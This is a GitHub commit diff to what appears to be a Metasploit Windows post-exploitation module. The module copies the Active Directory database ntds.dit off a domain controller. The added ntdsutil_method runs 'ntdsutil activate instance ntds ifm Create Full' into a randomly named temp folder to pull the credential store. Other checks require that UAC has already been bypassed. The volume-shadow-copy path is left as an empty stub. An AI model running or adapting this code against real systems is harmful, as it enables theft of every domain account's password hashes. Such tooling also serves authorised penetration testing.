File tree Expand file tree Collapse file tree 1 file changed +25
-2
lines changed
modules/post/windows/gather/credentials Expand file tree Collapse file tree 1 file changed +25
-2
lines changed Original file line number Diff line number Diff line change @@ -31,19 +31,21 @@ def initialize(info={})
31
31
32
32
def run
33
33
if preconditions_met?
34
- copy_database_file
34
+ ntds_file = copy_database_file
35
35
end
36
36
end
37
37
38
38
def copy_database_file
39
39
database_file_path = nil
40
40
case sysinfo [ "OS" ]
41
41
when /2003/
42
-
42
+ database_file_path = vss_method
43
43
when /2008|2012/
44
+ database_file_path = ntdsutil_method
44
45
else
45
46
print_error "This version of Windows in unsupported"
46
47
end
48
+ database_file_path
47
49
end
48
50
49
51
def is_domain_controller?
@@ -57,6 +59,20 @@ def is_domain_controller?
57
59
status
58
60
end
59
61
62
+ def ntdsutil_method
63
+ tmp_path = "#{ expand_path ( "%TEMP%" ) } \\ #{ Rex ::Text . rand_text_alpha ( ( rand ( 8 ) +6 ) ) } "
64
+ command_arguments = "\" activate instance ntds\" \" ifm\" \" Create Full #{ tmp_path } \" quit quit"
65
+ result = cmd_exec ( "ntdsutil.exe" , command_arguments )
66
+ if result . include? "IFM media created successfully"
67
+ file_path = "#{ tmp_path } \\ Active Directory\\ ntds.dit"
68
+ else
69
+ print_error "There was an error copying the ntds.dit file!"
70
+ file_path = nil
71
+ end
72
+ file_path
73
+ end
74
+
75
+
60
76
def preconditions_met?
61
77
status = true
62
78
unless is_domain_controller?
@@ -71,8 +87,15 @@ def preconditions_met?
71
87
print_error "This module requires UAC to be bypassed first"
72
88
status = false
73
89
end
90
+ if is_system?
91
+ print_error "Volume Shadow Copy will not work properly as SYSTEM, migrate to a real user"
92
+ status = false
93
+ end
74
94
return status
75
95
end
76
96
97
+ def vss_method
98
+
99
+ end
77
100
78
101
end
You can’t perform that action at this time.
0 commit comments